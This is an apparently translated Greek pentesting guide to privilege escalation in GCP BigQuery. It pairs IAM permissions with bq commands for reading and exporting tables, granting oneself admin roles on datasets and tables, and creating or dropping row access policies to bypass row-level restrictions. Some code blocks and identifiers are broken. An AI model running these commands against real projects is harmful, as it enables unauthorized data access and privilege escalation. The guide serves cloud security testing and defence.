Ανάγνωση των πληροφοριών που είναι αποθηκευμένες σε έναν πίνακα BigQuery μπορεί να αποκαλύψει ευαίσθητες πληροφορίες. Για πρόσβαση σε αυτές απαιτούνται τα δικαιώματα bigquery.tables.get, bigquery.jobs.create και bigquery.tables.getData:
Ανάγνωση δεδομένων πίνακα BigQuery
```bash
bq head .
bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000'
```
Αυτός είναι ένας άλλος τρόπος για να αποκτήσετε πρόσβαση στα δεδομένα. Εξάγετέ το σε ένα bucket του Cloud Storage και κατεβάστε τα αρχεία με τις πληροφορίες. Για να εκτελεστεί αυτή η ενέργεια απαιτούνται τα ακόλουθα δικαιώματα: bigquery.tables.export, bigquery.jobs.create και storage.objects.create.
Εξαγωγή πίνακα BigQuery σε Cloud Storage
```bash
bq extract .
Ίσως είναι δυνατό να εισαχθούν ορισμένα αξιόπιστα δεδομένα σε έναν πίνακα Bigquery για να εκμεταλλευτεί μια ευπάθεια σε κάποιο άλλο μέρος. Αυτό μπορεί να γίνει εύκολα με τα δικαιώματα bigquery.tables.get , bigquery.tables.updateData και bigquery.jobs.create:
</details>
### `bigquery.datasets.setIamPolicy`
Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτό το προνόμιο για να **δώσει στον εαυτό του επιπλέον δικαιώματα** πάνω σε ένα BigQuery dataset:
<details>
<summary>Ορισμός IAM policy σε BigQuery dataset</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
Μόνη αυτή η άδεια επιτρέπει να ενημερώσεις την πρόσβασή σου σε ένα BigQuery dataset τροποποιώντας τα ACLs που υποδεικνύουν ποιος μπορεί να αποκτήσει πρόσβαση σε αυτό:
Ενημέρωση ACLs σε dataset του BigQuery
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson : > acl.json
## Give permissions to the desired user
bq update --source acl.json :
## Read it with
bq head $PROJECT_ID:.
Ένας attacker θα μπορούσε να καταχραστεί αυτό το προνόμιο για να δώσει στον εαυτό του περαιτέρω δικαιώματα σε έναν πίνακα BigQuery:
Set IAM policy on BigQuery table
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:' \
--role='roles/bigquery.admin' \
:.
</details>
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
Σύμφωνα με την τεκμηρίωση, με τα αναφερόμενα δικαιώματα είναι δυνατό να **ενημερώσετε μια πολιτική πρόσβασης γραμμής.**\
Ωστόσο, **χρησιμοποιώντας το cli `bq`** χρειάζεστε κάποια επιπλέον: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
<details>
<summary>Δημιουργία ή αντικατάσταση πολιτικής πρόσβασης γραμμής</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
Είναι δυνατό να βρεθεί το filter ID στην έξοδο της απαρίθμησης των row policies. Παράδειγμα:
List row access policies
```bash
bq ls --row_access_policies :.
Id Filter Predicate Grantees Creation Time Last Modified Time
apac_filter term = “Cfba” user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
</details>
Αν έχετε **`bigquery.rowAccessPolicies.delete`** αντί για `bigquery.rowAccessPolicies.update`, μπορείτε επίσης απλώς να διαγράψετε την πολιτική:
<details>
<summary>Διαγραφή πολιτικών πρόσβασης γραμμών</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
Caution
Μια άλλη πιθανή επιλογή για να παρακαμφθούν οι πολιτικές πρόσβασης σειρών θα ήταν απλώς να αλλάξετε την τιμή των περιορισμένων δεδομένων.
Αν μπορείτε να βλέπετε μόνο όταν term είναι Cfba, απλώς τροποποιήστε όλες τις εγγραφές του πίνακα ώστε να έχουν term = "Cfba".
Ωστόσο αυτό αποτρέπεται από bigquery.